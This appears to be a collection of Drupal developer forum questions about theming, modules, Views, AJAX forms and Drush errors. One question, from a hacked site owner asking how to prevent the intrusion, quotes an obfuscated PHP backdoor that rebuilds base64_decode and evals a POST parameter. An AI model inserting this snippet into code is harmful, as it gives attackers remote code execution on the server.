I'm looking to include a few JS files (some libraries, others are custom modules with dependencies on libraries). Originally I had all JS files added through our .info file, and while I could control the order of the files manually my moving them up and down, that would result in all the JS files loading on every page.

Is it a better idea to add JS files through template.php in the template_preprocess_html function? For each JS file I can attach a group property (one of the constants of JS_Library, JS_DEFAULT, or JS_THEME) to control the ordering, and also control which pages need to load which files.

Thoughts?


texts: Where can I find the link within admin for running the cleaner module, and how to install it?

texts:
I want to run 'Cleaner' (provided by the Cleaner module).

But when I go to administer > site > configuration, nothing related to  Cleaner is listed.

I have searched Drupal.org, where I learned that this is this link is what I need. Maybe this information is out of date?

Any suggestions?

Edit: I am new to Drupal. Can you tell me, how I install the Cleaner module?


texts:
Whenever I try to use $_SESSION or variable_set it breaks the Entity API. It says

  "Fatal error: Call to undefined function entity_get_info() in
  mydrupal\sites\all\modules\entity\includes\entity.inc on line 55"

And then I have to reinstall the entire website because this fatal error shows up on every page. So I can't even access any of the adminscreens or anything to uninstall the modules or anything.

Does anybody here know if this is just a bug or am I doing something wrong? I was just filling the session with an entity.


texts:
A customer of mine insists on having Search Results as a heading. I can set this on the block I have created using the Custom search module.

How do I get rid of the
Search
 at the top of the search results page?


texts: My Drupal was hacked: Remote Code Execution – base64_decode() with ‘PCT4BA6ODSE_’

texts:
today I woke up surprised that my website was hacked. I found scripts like this in several files of my Drupal instalation

$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n7f2521'];if(isset($s22)){eval($s21($s22));}

I could find that the script was propagated, from

sites/default/files/styles/thumbnail/public/footer.php

That footer.php should not be there, so my question is, how a php file could be uploaded in that folder?

I checked all the upload images and files fields and I ensure any of those are allowed of upload .php files.

Can someone help me out?

how to prevent this type of hacking? what are the precautions for this type of hacking?


texts: Views Date expose filter end date excluding the given date

texts:
I have created a view of commerce orders, listing all orders, as expose filter I have added two date filters on field "When Order is Created" with one I am giving operator as "is greater or equal to"(start date) and with other as "is less than or equal to"(end date). As output I am getting all orders after or on Start Date filter but with End date filter I am seeing results filtered by End Date - 1 (not including the given date). How I can make the end date filter to be included in the filter results?
Thanks in advance.


texts: DRUPAL 7: insert images via URL instead of via "file-upload"

texts:
My boss asked me to edit an existing page (in which is already possible insert text and images) in order to be able to insert images not only by uploading them from local pc but also via Remote URL.

My version is 7.31 and is already installed "File Field Sources" module that SHOULD be the most useful to achieve desired behaviour.

My questions are:

After entered in Edit Mode of a specific page, how to verify
which module is actually used to manage images uploads?
In case that it is already "File Field Sources", how to configure it to
be able to put remote URL?

Thanks


texts:
My current code works:

<img src="<?php print $base_url . '/' . drupal_get_path('theme', 'lapost'); ?>/images/cart-template-logo.png" />

But if you check in source it prints only /sites/all/themes/lapost/images/cart-template-logo.png

It works if you load image on-site, but it also gets sent to email and when mail arrives it gives dead image shortcut, because the path is missing the www.webaddress.com part.


texts:
I have a function that returns a render array for a table;

  private function _files_table($job_id){
    $files = $this->_query("
      select *
      from JC_Documents_Recent_Revisions
      where Job_ID=".$this->sqs($job_id).";
    ");

    $rows = array_map(function($row){
      return [
        (string)$row['Job_ID'],
        $row['Document_Name'],
        $row['Document_Type'],
        $row['File_Name'],
        ($row['Uploaded_Date'] != NULL ? $row['Uploaded_Date']->format("Y-m-d H:i") : 'Unknown Date'),
        $row['Uploaded_By'],
        new FormattableMarkup('show', [':link' => (Url::fromRoute('JobFileUpload.Serve', ['file_id' => (int)$row['FileID']]))->toString()]),
        new FormattableMarkup('revise', [':link' => (Url::fromRoute('JobFileUpload.Revise', ['file_id' => (int)$row['FileID']]))->toString()]),
        new FormattableMarkup('delete', [':link' => (Url::fromRoute('JobFileUpload.Delete', ['document_id' => (int)$row['DocumentID']]))->toString()])
      ];
    }, $files);

    $header = [
      t('Job ID'),
      t('Document Name'),
      t('Document Type'),
      t('File Name'),
      t('Uploaded Date'),
      t('Uploaded By'),
      t('Download'),
      t('Revise'),
      t('Delete')
    ];

    return [
      '#theme' => 'table',
      '#header' => $header,
      '#rows' => $rows
    ];
  }

and two occasions where I wish to render the table. The first is in buildForm:

  /**
   * {@inheritdoc}
   */
  public function buildForm(array $form, FormStateInterface $form_state, $job_id=NULL) {
    $jobs = $this->_query("
      select *
      from Active_Job_List;
    ");

    $formatted_jobs = [];
    $len = count($jobs);
    for($i=0; $i<$len; $i++){
      $formatted_jobs[$jobs[$i]['Job_ID']] = $jobs[$i]['Job_Name'];
    }
    natsort($formatted_jobs);

    $form['job_id'] = [
      '#weight' => 1,
      '#title' => t('Job'),
      '#type' => 'select',
      '#options' => $formatted_jobs,
      '#ajax' => [
        'callback' => '::showFiles',
        'wrapper' => 'ajax-wrapper'
      ],
      '#required' => TRUE,
      '#default_value' => $job_id
    ];

    $form['jobfiles'] = $this->_files_table($job_id);
    $form['jobfiles']['#weight'] = 2;

    if($job_id != null){
      $form['newfile'] =  [
        '#weight' => 3,
        '#title' => t('Upload new file'),
        '#type' => 'link',
        '#url' => Url::fromRoute('JobFileUpload.UploadForm', ['job_id' => $job_id])
      ];
    }

    return $form;
  }

The second is in showFiles:

  public function showFiles(array &$form, FormStateInterface $form_state) {
    $job_id = $form_state->getValue('job_id');

    $output = $this->_files_table((int)$job_id);
    // $output['link'] = new FormattableMarkup('Upload a new file...', [':link' => (Url::fromRoute('JobFileUpload.UploadForm', ['job_id' => $job_id]))->toString()]);

    $renderer = \Drupal::service('renderer');

    $response = new AjaxResponse();
    $response->addCommand(new HtmlCommand('#ajax-wrapper', $renderer->render($output)));

    return $response;
  }

The buildForm method works just fine, and I get a table with the files in it. But when I call the same render array function on an output for the AjaxResponse (in ::showFiles), I don't even get an error, and the table does not show up. Anyone got an idea of what I'm doing wrong here?


texts:
UPDATED from earlier:

I am using a simple Drupal form that collect user info before allowing the user access to donwloadable content. NOTE: This is using the form API and I am no longer using a modal; just using a regular page created by a hook. Here is the scenario:

<?php

function my_form_menu() {
  $items = array();

  $items['form/userinfo'] = array( //this creates a URL that will call this form
    'title' => 'Download Form', //page title
    'description' => 'A form that gathers user infomation',
    'page callback' => 'drupal_get_form', //this is the function that will be called w           hen the page is accessed.  for a form, use drupal_get_form
    'page arguments' => array('my_form'), //name of the form
   'access callback' => TRUE
 );

 return $items;
}

function my_form() {
 if (!empty($_COOKIE['Drupal_visitor_downloadbypass'])) {
 drupal_goto('this is where the pdf file will go'); // rest of the page will not execute because drupal_goto ends the request.
}
 $form['name']['first'] = array(
'#type' => 'textfield',
'#title' => t('First name'),
 '#required' => TRUE,
 );
$form['name']['last'] = array(
'#type' => 'textfield',
'#title' => t('Last name'),
 '#required' => TRUE,
 );
$form['name']['title'] = array(
'#type' => 'textfield',
'#title' => t('title'),
 '#required' => TRUE,
 );

 $form['submit'] = array(
'#type' => 'submit',
'#value' => 'Submit',

 );

 return $form;
 }
   function my_form_submit($form, &$form_state) {
 // $form_state['values']['example'] contains the submitted value of 'example' element.
 user_cookie_save(array('downloadbypass' => 1));
  $form_state['redirect'] = 'this is where the pdf file will go';
  }

So here is my question: Now my form page is not showing up and I didnt change the hook except for the form name argument. The form will need to redirect back to the previous page and open the file in a new window upon submission.

Thanks!

phi


texts: Issues with Drush 10.3.5 version in Ubuntu 20.04

texts:
I installed Drush 10.3.5 version via composer in Drupal 9.0.7 but I am getting a website error as follows after I ran command drush cache-rebuild. I can not access the admin page as well.
The website encountered an unexpected error. Please try again later.
Error: Class 'Drush\Log\DrushLog' not found in Drupal\Component\DependencyInjection\Container->createService() (line 257 of core/lib/Drupal/Component/DependencyInjection/Container.php).
I found somewhere i.e. (https://gorannikolovski.com/blog/drupal-9-and-drush-10) that Drush does not support symfony/var-dumper version 5.*. But I can't change symfony/var-dumper version in Drupal because Drupal core requires symfony/var-dumper v5.1.10 as follows:

$ composer why symfony/var-dumper
drupal/core-recommended 9.0.7   requires  symfony/var-dumper (v5.1.0)
symfony/error-handler    v4.4.9  requires  symfony/var-dumper (^4.4|^5.0)

So please help me to fix this issue.

Please let me know which Drush version I should use with the latest
Drupal version 9.0.7.

The website issue screenshot as follows:

Also how to fix this website issue so that I can see the front page
and admin page.

Thank You


texts: How do I create a .tpl file for a panel pane?

texts:
So, I want to add some HTML to surround the output of a Panel pane. I know the existing pane is rendered with:

panels-pane--entity-field-extra.tpl.php

If I edit this file, of course, every pane using it will show the changes.

If I create a new .tpl, say panels-pane--entity-field-top.tpl.php how do I apply it to a particular pane?


texts:
I have run drush migrate-upgrade successfully previously, but not when I run it, I am getting

  "An option named "Configure-only" already exists."

I get this error regardless of if I have --configure-only in the command.

The command is:

drush migrate-upgrade --legacy-db-url=mysql://user:password@localhost/db --legacy-root=http://example.com --configure-only

Has anyone seen this error?  I am not seeing anything on any forums about it.


texts: How to modify taxonomy term path in the page render array?

texts:
I'm trying to change the path of a term before it's displayed on a node page. I'm using this preprocess function in template.php:

function bartik_preprocess_node(&$variables) {
    $variables['field_photo_topic']['0']['taxonomy_term']->uri['path'] = 'photo/test';
}

The path won't change, what am I missing? This is the dpm output:


texts:
I have a entity A with an entity reference to entity B, and an image field. I created a view to display an entity A. I want to link the image field to the page displaying the referenced entities B.
Firstly, I've added the entity reference field in my view and checked "Exclude from display", in order to get in the image field the replacement token, but I could not get the link. I just get the the entity B title.
Afterwards, I added a relationship to entity B in my view. No more success.
Could you help me?